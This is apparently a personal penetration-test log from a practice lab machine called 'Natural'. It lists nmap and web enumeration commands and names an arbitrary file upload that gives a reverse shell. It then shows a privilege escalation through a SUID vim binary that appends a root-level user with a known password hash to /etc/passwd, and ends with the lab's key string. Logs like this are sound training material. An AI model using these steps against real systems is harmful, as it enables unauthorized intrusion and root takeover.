Natural
๐งช Pentest Log: {{date:2025-08-28}}
๐ Target Information
- Machine Name: Natural
- IP Address: 10.11.1.77
- Operating System: Linux
ip=10.11.1.77
๐ก Enumeration
๐ Port Scanning
Command Used
ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV $ip -oN tcp_scan_result.txt
nmap -sU --top-ports 100 $ip -oN udp_scan_result.txt
Port 22
Port 80
Web Content Enumeration
gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/common.txt
dirsearch -u http://$ip -r -o dirsearch.txt
wpscan --url http://$ip
Found the /uploads directory
๐ฃ Exploitation
๐ Vulnerability Summary
- Service / Port: 80
- Vulnerability Type: Arbitary File Upload
๐ Exploit Execution
๐ง Exploit Method
Tool / Script Used:
python3 /home/kali/Documents/oscp/Shell\ Handler/penelope/penelope.py -p 80
๐งฌ Privilege Escalation
๐ค Current Access
- User: apache
- Groups: 48(apache)
- Shell Type: reverse shell
๐ Enumeration
SUID:
find / -type f -perm -4000 2>/dev/null
found
/bin/backdoor
Run it and find it is actually vim
๐ Privilege Escalation Exploit
๐ Exploit Summary
- Technique Used: SUID Abuse
- Target Binary/Service: backdoor
- Reference / Source: N/A
๐ง Exploit Steps
- Setup
/bin/backdoor /etc/passwd
tony:$1$test$28Tmd0tsvqI1Eq.TDxcaq/:0:0:tony,,,:/root:/bin/bash
- Smash to root
su tony
password
- Key File
tutvxmoli5yun0zcqmq9